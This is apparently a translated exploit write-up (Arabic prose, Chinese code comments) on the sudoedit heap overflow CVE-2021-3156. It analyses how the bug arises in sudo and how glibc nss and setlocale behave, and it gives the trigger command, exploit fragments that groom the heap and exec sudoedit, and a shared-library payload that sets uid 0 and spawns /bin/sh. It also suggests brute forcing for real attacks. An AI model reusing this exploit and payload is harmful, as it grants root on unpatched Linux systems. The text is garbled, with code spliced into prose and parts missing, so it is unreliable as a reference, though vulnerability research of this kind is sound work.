انظر محتوى التصحيح في [بعض أوامر التصحيح](#一些调试命令)


## مبدأ الثغرة

تشغيل الثغرة payload```shell
sudoedit -s '\' `python3 -c "print('A'*80)"`

··· ···
··· ···

/* Parse command line arguments. */
//在这里处理输入参数，设置sudo_mode
sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);

··· ···
··· ···
    
switch (sudo_mode & MODE_MASK) {
··· ···
··· ···
case MODE_EDIT:
case MODE_RUN:
    ok = policy_check(&policy_plugin, nargc, nargv, env_add,
	&command_info, &argv_out, &user_env_out);
    ··· ···
    ··· ···
}

··· ···
··· ···

- أولاً، يتم استدعاء دالة `parse_args` لمعالجة المعاملات التي أدخلناها. في الواقع، هنا أدخلنا فقط `-s` ولا يوجد شيء يمكن تعيينه، حيث يتم تعيين `sudo_mode` إلى `MODE_EDIT` و `MODE_SHELL`.

- ثم، بناءً على اختلاف `sudo_mode`، يقوم `MODE_EDIT` باستدعاء `policy_check`

بعد ذلك، دالة `policy_check` في `sudo.c` (sudo.c: 1136):```c
static int
policy_check(struct plugin_container *plugin, int argc, char * const argv[],
    char *env_add[], char **command_info[], char **argv_out[],
    char **user_env_out[])
{
    ··· ···
    ··· ···
    ret = plugin->u.policy->check_policy(argc, argv, env_add, command_info,
	argv_out, user_env_out);
    ···
}

exec_args.argv = argv_out;
exec_args.envp = user_env_out;
exec_args.info = command_infop;

ret = sudoers_policy_main(argc, argv, 0, env_add, &exec_args);
··· ···
··· ···

ثم تم استدعاء دالة `sudoers_policy_main` في `sudoers.c` (`sudoers.c: 224`):```c
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
    void *closure)
{
    ··· ···
    ··· ···

    /*
     * Make a local copy of argc/argv, with special handling
     * for pseudo-commands and the '-i' option.
     */
    if (argc == 0) {
	··· ···
    } else {
	/* Must leave an extra slot before NewArgv for bash's --login */
	NewArgc = argc;
	NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));
	··· ···
	}
	memcpy(++NewArgv, argv, argc * sizeof(char *));
	NewArgv[NewArgc] = NULL;
	··· ···
	}
    }
	··· ···
    cmnd_status = set_cmnd();
    ··· ···
    ··· ···
    ··· ···
}

/* set user_args */
if (NewArgc > 1) {
    char *to, *from, **av;
    size_t size, n;

    /* Alloc and build up user_args. */
    //根据参数总长度计算size， 后续malloc 申请，没有问题
    for (size = 0, av = NewArgv + 1; *av; av++)
	size += strlen(*av) + 1;
    if (size == 0 || (user_args = malloc(size)) == NULL) {
	sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
	debug_return_int(-1);
    }
    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
	/*
	 * When running a command via a shell, the sudo front-end
	 * escapes potential meta chars.  We unescape non-spaces
	 * for sudoers matching and logging purposes.
	 */
     //将所有参数拷贝到一起放到堆中，逻辑是遇到'\'加非空格类型字符则只拷贝非空格字符
     //但这里\x00 并不算空格类型字符
     //他没有考虑参数如果只有一个'\'或以'\'结尾并且下两个字符后就是另一个字符串情况
	for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
	    while (*from) {
		if (from[0] == '\\' && !isspace((unsigned char)from[1]))
		    from++;
		*to++ = *from++;
	    }
	    *to++ = ' ';
	}
	*--to = '\0';
    } 
    ··· ···
}
}
··· ···
··· ···

يحدث التجاوز هنا أيضًا، كما يتضح من التعليقات في الكود، يحدث تجاوز سعة الكومة عند النسخ إلى الكومة. المعنى الأصلي لهذا الكود ليس من الصعب فهمه: نسخ جميع الوسائط من `NewArgv` إلى الكومة، مفصولة بمسافات، وعند مواجهة `\ + حرف غير مسافات`، يتم نسخ ذلك الحرف فقط.

**لكنها لم تأخذ في الاعتبار حالة أن عنصرًا من `NewArgv` ينتهي بـ `\`، أي بنية `\+\x00`، و `\x00` لا ينتمي إلى الأحرف المسافات (غريب)! أي أنه بعد نسخ `\x00` إلى الكومة، يزداد المتغير `from` بمقدار (يزيد مرتين في حلقة واحدة) ويتجاوز فرصة جملة `while` التي تتحقق من علامة النهاية `\x00`، معتبرًا أن الوسائط لم يتم نسخها بعد، ويواصل النسخ إلى الخلف حتى يصادف `\x00` التالي.**

في هذا السيناريو، يمكن رؤية أن `\+\x00` يتبعه مباشرة الوسيط التالي `A*80`، لذا سيستمر النسخ إلى نهاية `A*80`. لكن لا تنسَ أنه سيتم لاحقًا معالجة الوسيط `A*80` بشكل فعلي، وسيتم نسخه مرة أخرى، لذلك تم نسخ `A*80` مرتين هنا، ولكن تم تخصيص القطعة (chunk) بناءً على حجم سلسلة واحدة من `A*80` فقط، وهو ما يتجاوز بكثير الطول المخصص للقطعة.

image-20220123113907744

ثم يحدث التجاوز، قبل النسخ:

image-20220123114036691

بعد النسخ:

image-20220123114137794

مسار تشغيل الثغرة الكلي هو (يمكنك ببساطة تعيين نقاط توقف عند هذه الدوال أثناء التصحيح):

- sudo.c : main
  - sudo.c : policy_check
    - policy.c : sudoerrs_policy_check
      - sudoers.c : sudoers_policy_main
        - sudoers.c : set_cmnd
          - sudoers.c : 859

## مبدأ استغلال الثغرة

تمت الإشارة إلى [blasty/CVE-2021-3156](https://github.com/blasty/CVE-2021-3156)، **لكن طريقة تخطيط الكومة الخاصة به نادرة الحدوث؛ هنا تم تحليل طريقة تخطيط الكومة بالتفصيل**. من خلال تمرير متغيرات البيئة `LC_*` لتخطيط الكومة، ثم جعل القطعة الفائضة (vuln chunk) تغطي تمامًا الهيكل `service_user` الذي تحتاج دالة `nss_load_library` إلى تحميله كـ `.so`، واستبدال سلسلة اسم `.so` داخل الهيكل، ثم جعل البرنامج يقوم بتحميل الـ `.so` المحدد من قبلنا لتنفيذ تعليمات برمجية عشوائية.

على الرغم من أن المنطق يبدو واضحًا، إلا أن التفاصيل التي يجب التعامل معها لا تزال صعبة نوعًا ما:

1. هياكل البيانات والآليات ذات الصلة في `nss_load_library`
2. كيف يقوم `setlocale` بتخطيط الكومة عبر متغيرات البيئة `LC_*`

بعد ذلك، سنشير إلى القطعة التي يمكن أن يحدث فيها التجاوز عند حدوث الثغرة باسم `vuln chunk`، والهدف من التجاوز باسم `target chunk`.

### مبدأ `nss`

أولاً، لننظر إلى الكود الأساسي للاستغلال:

`glibc/nss/nsswitch.c: 377 nss_load_library()````c
static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
				     ni->name);
      if (ni->library == NULL)
	return -1;
    }

  if (ni->library->lib_handle == NULL)
    {
      ··· ···
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
					      "libnss_"),
				    ni->name),
			  ".so"),
		__nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);
      ··· ···
      ··· ···
  }
}

هذا ملف تكوين يحدد الطرق والترتيب (أي أي ملفات so يتم استخدامها) عبر هذه المسارات المسجلة للبحث عن الأساليب. كما يمكن تحديد الإجراء الذي سيتخذه النظام عند نجاح أو فشل أسلوب معين.

ما فهمته هو أنه يحدد أين يحتاج البرنامج لاسترداد المعلومات المطلوبة، مثل معلومات المستخدم، الشبكة، العنوان، إلخ. يتجلى ذلك في البرنامج من خلال استدعاء الدالة من ملف so مختلف. تنفيذ هذه الدالة في ملفات so المختلفة هو الطريقة لاسترداد تلك المعلومات.

التالي ننظر إلى ثلاث بنى (`structs`):```c
typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

typedef struct name_database_entry
{
  /* And the link to the next entry.  */
  struct name_database_entry *next;
  /* List of service to be used.  */
  service_user *service;
  /* Name of the database.  */
  char name[0];
} name_database_entry;

typedef struct name_database
{
  /* List of all known databases.  */
  name_database_entry *entry;
  /* List of libraries with service implementation.  */
  service_library *library;
} name_database;

glibc/nss/nsswitch.c : 541```c
static name_database *
nss_parse_file (const char *fname)
{
  FILE *fp;
  name_database *result;
  name_database_entry *last;
  ··· ···
  //打开/etc/nsswitch.conf
  fp = fopen (fname, "rce");
  ··· ···
  result = (name_database *) malloc (sizeof (name_database));
  ··· ···
  do
    {
      name_database_entry *this;
      ssize_t n;
      n = __getline (&line, &len, fp);// getline 这里会申请一个0x80 大小的chunk
      
      ··· ···
          
      this = nss_getline (line);
      if (this != NULL)
	{
	  if (last != NULL)
	    last->next = this;
	  else
	    result->entry = this;

	  last = this;
	}
    }
  while (!feof_unlocked (fp));

  /* Free the buffer.  */
  free (line); //在函数返回之前会将getline 函数申请的0x80 chunk 释放掉。
  /* Close configuration file.  */
  fclose (fp);

  return result;
}

أولاً، يتم استدعاء `__nss_database_lookup` بناءً على `DATABASE_NAME_STRING` المُمرَّرة (محتواها passwd, group, shadow, إلخ) للعثور على الخدمة المقابلة: أي البحث في المنطقة الحمراء في الصورة أدناه للعثور على التطابق، ثم إرجاع مؤشر الخدمة. إذا كانت هذه هي المرة الأولى للبحث وكل المداخل فارغة، فسيتم التهيئة (كما ذُكر أعلاه).

image-20220123133933696

ثم يتم استدعاء `__nss_lookup` الذي يستدعي بشكل متكرر `__nss_lookup_function` للبحث في قائمة الخدمات المرتبطة عن الخدمة التي تحتوي على الدالة المطلوبة، ثم يتم استدعاء `nss_load_library` للحصول على مقبض مكتبة الارتباط الديناميكي (so)، ثم البحث عن الدالة المطلوبة. الكود كما يلي:

glibc/nss/nsswitch.c : 194```c
int
__nss_lookup (service_user **ni, const char *fct_name, const char *fct2_name,
	      void **fctp)
{
  *fctp = __nss_lookup_function (*ni, fct_name);
  ··· ···
  while (*fctp == NULL
	 && nss_next_action (*ni, NSS_STATUS_UNAVAIL) == NSS_ACTION_CONTINUE
	 && (*ni)->next != NULL)
    {
      *ni = (*ni)->next;

      *fctp = __nss_lookup_function (*ni, fct_name);
      ··· ···
    }

  return *fctp != NULL ? 0 : (*ni)->next == NULL ? 1 : -1;
}
libc_hidden_def (__nss_lookup)

  if (ni->library->lib_handle == (void *) -1l)
    /* Library not found => function not found.  */
    result = NULL;
  else
    {
      ··· ···
          
      /* Construct the function name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (name, "_nss_"),
				    ni->name),
			  "_"),
		fct_name);

      /* Look up the symbol.  */
      result = __libc_dlsym (ni->library->lib_handle, name);
    }
    
    ··· ···
    ··· ···

}
···

يمكن ملاحظة أنه بمجرد استدعاء دالة من داخل libnss_xxx.so، فإنه لا بد من استدعاء `nss_load_library`، حتى لو كان هذا الملف المشترك (so) قد تم تحميله بالفعل. لذلك، وفقًا لفكرة الـ exp المعروفة، **نحتاج فقط إلى معرفة أي so تنتمي إليه أول دالة متعلقة بـ libnss يتم استدعاؤها بعد حدوث تجاوز سعة الكومة (heap overflow)، ثم عبر تخطيط الكومة، نضع بنية `service_user` التابعة لذلك الـ so خلف chunk الثغرة (vuln chunk). ولكن وفقًا لاختباراتي في بيئات متعددة، وجدت أنه حتى بالنسبة لنفس الإصدار، تختلف بنية الكود بين الإصدار المترجم يدويًا والإصدار الموزع (distribution)**، لذا استخدمت بيئة التصحيح الخاصة بي لإعادة تحليل وكتابة exp.

### العودة إلى بيئة التصحيح

بيئة التصحيح التي بنيتها (docker) هي sudo مترجم يدويًا مع رموز تصحيح (debug symbols)، والمعلومات المحددة كالتالي:```
ubuntu 18.04 LTS
libc-2.27
sudo 1.8.21

    if (newdata[category] == NULL)
      {//返回null 则会跳出循环
	···
	break;
      }

    ··· ···

    /* Make a copy of locale name.  */
    if (newnames[category] != _nl_C_name)
      {
	if (strcmp (newnames[category],
		    _nl_global_locale.__names[category]) == 0)
	  newnames[category] = _nl_global_locale.__names[category];
	else
	  {
        //这个strdup 很关键
	    newnames[category] = __strdup (newnames[category]);
	    if (newnames[category] == NULL)
	      break;
	  }
      }
  }

  /* Create new composite name.  */
  composite = (category >= 0
	   ? NULL : new_composite_name (LC_ALL, newnames));
  if (composite != NULL)
{
    ··· ···
}
  else
for (++category; category < __LC_LAST; ++category)//校验
  if (category != LC_ALL && newnames[category] != _nl_C_name
      && newnames[category] != _nl_global_locale.__names[category])
    //这个free 很关键，这里是一处循环free，可以集中free 一堆chunk
    free ((char *) newnames[category]);

  /* Critical section left.  */
  __libc_rwlock_unlock (__libc_setlocale_lock);

  /* Free the resources.  */
  free (locale_path);
  free (locale_copy);

  return composite;
}

··· ···
··· ···
  

`setlocale` هي دالة تتعلق ببعض إعدادات اللغة والبيئة بشكل فوضوي، والمعلمات المتعلقة بمتغيرات البيئة هي كما يلي:```c
#define __LC_CTYPE		 0
#define __LC_NUMERIC		 1
#define __LC_TIME		 2
#define __LC_COLLATE		 3
#define __LC_MONETARY		 4
#define __LC_MESSAGES		 5
#define __LC_ALL		 6
#define __LC_PAPER		 7
#define __LC_NAME		 8
#define __LC_ADDRESS		 9
#define __LC_TELEPHONE		10
#define __LC_MEASUREMENT	11
#define __LC_IDENTIFICATION	12

  if (locale_file == NULL)
return NULL;
}

في دالة `_nl_find_locale`، يتم أولاً استدعاء دالة `_nl_explode_name` لتعيين القناع (mask) بناءً على قيمة المتغير البيئي (كما ذكرت في تعليقاتي في الكود). يُنظر بشكل أساسي إلى ما إذا كانت هناك دولة ولغة ولاحقة مخصصة من قبل المستخدم، وإذا كان الأمر كذلك، يتم تعيين القناع المقابل، حيث يتم تعيين قناعين للغة، ليصبح المجموع أربعة أقنعة. ثم يؤدي استدعاء دالة `_nl_make_l0nflist` مباشرة إلى إرجاع `_nl_find_locale` قيمة فارغة، مما يؤدي إلى تفعيل كسر الحلقة (break) في `setlocale` أعلاه (مهم جداً).

لنلقِ نظرة بعد ذلك على دالة `_nl_make_l0nflist`:

glibc/intl/l0nflist.c : 150```c
struct loaded_l10nfile *
_nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list,
		    const char *dirlist, size_t dirlist_len,
		    int mask, const char *language, const char *territory,
		    const char *codeset, const char *normalized_codeset,
		    const char *modifier,
		    const char *filename, int do_allocate)
{
  char *abs_filename;
  struct loaded_l10nfile *last = NULL;
  struct loaded_l10nfile *retval;
  char *cp;
  size_t entries;
  int cnt;

  /* Allocate room for the full file name.  */
  //根据mask 的值会组成不同的文件路径，长度自然不同，根据长度申请chunk
  abs_filename = (char *) malloc (dirlist_len
				  + strlen (language)
				  + ((mask & XPG_TERRITORY) != 0
				     ? strlen (territory) + 1 : 0)
				  + ((mask & XPG_CODESET) != 0
				     ? strlen (codeset) + 1 : 0)
				  + ((mask & XPG_NORM_CODESET) != 0
				     ? strlen (normalized_codeset) + 1 : 0)
				  + ((mask & XPG_MODIFIER) != 0
				     ? strlen (modifier) + 1 : 0)
				  + 1 + strlen (filename) + 1);

  if (abs_filename == NULL)
    return NULL;

  retval = NULL;
  last = NULL;

  /* Construct file name.  */
  //根据文件名，也就是mask决定的内容进行拼接文件名
  memcpy (abs_filename, dirlist, dirlist_len);
  __argz_stringify (abs_filename, dirlist_len, ':');
  cp = abs_filename + (dirlist_len - 1);
  *cp++ = '/';
  cp = stpcpy (cp, language);

  if ((mask & XPG_TERRITORY) != 0)
    {
      *cp++ = '_';
      cp = stpcpy (cp, territory);
    }
  if ((mask & XPG_CODESET) != 0)
    {
      *cp++ = '.';
      cp = stpcpy (cp, codeset);
    }
  if ((mask & XPG_NORM_CODESET) != 0)
    {
      *cp++ = '.';
      cp = stpcpy (cp, normalized_codeset);
    }
  if ((mask & XPG_MODIFIER) != 0)
    {
      *cp++ = '@';
      cp = stpcpy (cp, modifier);
    }

  *cp++ = '/';
  stpcpy (cp, filename);

  ··· ···
  //如果已经已经存在同名文件，则释放刚申请的chunk
  if (retval != NULL || do_allocate == 0)
    {
      free (abs_filename);
      return retval;
    }

  retval = (struct loaded_l10nfile *)
    malloc (sizeof (*retval) + (__argz_count (dirlist, dirlist_len)
				* (1 << pop (mask))
				* sizeof (struct loaded_l10nfile *)));
  if (retval == NULL)
    {
      free (abs_filename);
      return NULL;
    }

  retval->filename = abs_filename;
  /* If more than one directory is in the list this is a pseudo-entry
     which just references others.  We do not try to load data for it,
     ever.  */
  retval->decided = (__argz_count (dirlist, dirlist_len) != 1
		     || ((mask & XPG_CODESET) != 0
			 && (mask & XPG_NORM_CODESET) != 0));
  retval->data = NULL;

  if (last == NULL)
    {
      retval->next = *l10nfile_list;
      *l10nfile_list = retval;
    }
  else
    {
      retval->next = last->next;
      last->next = retval;
    }

  entries = 0;
  /* If the DIRLIST is a real list the RETVAL entry corresponds not to
     a real file.  So we have to use the DIRLIST separation mechanism
     of the inner loop.  */
  //这里会进行递归的搜索，根据mask 来讲所有的组合全部找到
  //每次mask 值会-1，这样遍历所有mask可能
  cnt = __argz_count (dirlist, dirlist_len) == 1 ? mask - 1 : mask;
  for (; cnt >= 0; --cnt)
    if ((cnt & ~mask) == 0)
      {
	/* Iterate over all elements of the DIRLIST.  */
	char *dir = NULL;

	while ((dir = __argz_next ((char *) dirlist, dirlist_len, dir))
	       != NULL)
	  retval->successor[entries++]
	    = _nl_make_l10nflist (l10nfile_list, dir, strlen (dir) + 1, cnt,
				  language, territory, codeset,
				  normalized_codeset, modifier, filename, 1);
      }
  retval->successor[entries] = NULL;

  return retval;
}

حيث أن `dir(/usr/lib/locale)` و`language(C)` و`filename(اسم متغير البيئة)` كلها ثابتة، والمحتوى داخل الأقواس المربعة يتم إنشاؤه اختيارياً وفقاً لقيمة `mask`. على سبيل المثال:```
LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAA

بناءً على mask المختلفة، قد يتم إنشاء:```
1011: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0000: /usr/lib/locale/C/LC_IDENTIFICATION
1111: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0111: /usr/lib/locale/C.UTF-8.utf8/LC_IDENTIFICATION

احسب x، y بحيث:```
(x+y)+(x+y)+(x+y+1)+(x+y-2)+... ...+(y+1) 刚好 < 0x650 
2x+y = 0xa0-0x10

الحل من جهتي:```
x=11
y=121

while ((signed int)(offset-len)<2)
{
    x--;
    y=size-1-x*2;
    len=x+y+(x+y+1)*x/2;
    if(x<0)
        return -1;
}
int envoff=offset-len-2+0x30;
printf("%d,%d,%d\n",x,y,len);
char * Astring=malloc(size);
int i=0;
for(i=0;i<y;i++)
    Astring[i]='A';
Astring[i]='\x00';

argv[argvnow++]="sudoedit";
argv[argvnow++]="-s";
for (i=0;i<x;i++)
    argv[argvnow++]="\\";
argv[argvnow++]=Astring;
argv[argvnow++]="\\";
argv[argvnow++]=NULL;
for(i=0;i<envoff;i++)
    envp[envnow++]="\\";
envp[envnow++]="X/test";
return 0;

execve("/usr/local/bin/sudoedit",argv,envp);

lib.c كما يلي:```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void __attribute__ ((constructor)) _init(void);

static void _init(void) {
        printf("[+] bl1ng bl1ng! We got it!\n");
#ifndef BRUTE
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execv("/bin/sh", a_argv);
#endif
}

نجاح:

image-20220123115529219

### طريقة تعديل الـ exp لبيئة محددة

هو بشكل أساسي لتسهيل البحث والتصحيح الخاصين بك، وليس للهجوم الفعلي. للهجوم الفعلي، يُنصح بالتفجير (brute force)، وتحتاج إلى معرفة النقاط التالية بناءً على البيئة:

1. الحجم القابل للتحكم في vuln، أي free tcache المتبقي في setlocale، والذي لن يتم استهلاكه قبل طلب vuln. تحتاج إلى إيجاد حجم مناسب (يقابل 0xa0 في exp الخاص بي).
2. أين يجب وضع vuln، أي عدد chunks بحجم 0x40 قبل vuln chunk وعددها بعده (يقابل دوال addChunk في دالة main في exp الخاص بي).
3. المسافة من target chunk إلى vuln chunk، أي target chunk addr - vuln chunk addr (يقابل 0x650 في exp الخاص بي).

تعديل هذه النقاط الثلاث سيجعل النجاح شبه مؤكد.

## العوامل المؤثرة على استغلال الثغرة

هناك العديد من العوامل التي تؤثر على تخطيط الكومة. لنفس إصدار sudo، تؤدي خيارات التحويل المختلفة إلى تغيير تخطيط الكومة (فقط بإضافة أو إزالة دالة تشارك في تخصيص الكومة قبل التدفق، فمن المحتمل جداً أن يتغير التخطيط).

تخطيط كومة sudo في الإصدار الموزع وفي النسخة التي تترجمها بنفسك سيكونان مختلفين.

اختلاف ملف تكوين sudo العالمي سيؤثر أيضًا.

الملفات العامة مثل passwd ستؤثر أيضًا.

اختلاف ملف nsswitch.conf سيؤثر.

إصدار glibc

بيئات عالمية أخرى (أو ملفات بيئية)

## إجراءات التخفيف

قم بالترقية إلى أحدث إصدار.

## بعض أوامر التصحيح```
watch rwatch awatch 内存断点
catch exec
set follow-exec-mode new 调试exp 的时候捕获子进程

بعد مراجعة أول استدعاء لدالة `nss` بعد تجاوز سعة الكتلة، قم أولاً بوضع نقطة توقف عند مصدر التجاوز:```
b policy_check  #先断离溢出点比较近的位置，直接断溢出点找不到
c
b sudoers.c:849 #malloc前
b sudoers.c:859 #溢出chunk 刚申请完毕
b sudoers.c:867 #溢出完成
c #断住之后再断nss_load_library
b nss_load_library 
c #断nss_load_library
bt #查看调用栈

## المراجع

مدونة أحد الخبراء داخل الشركة

52破解博客: https://www.52pojie.cn/thread-1439734-1-1.html

blasty's POC: https://github.com/blasty/CVE-2021-3156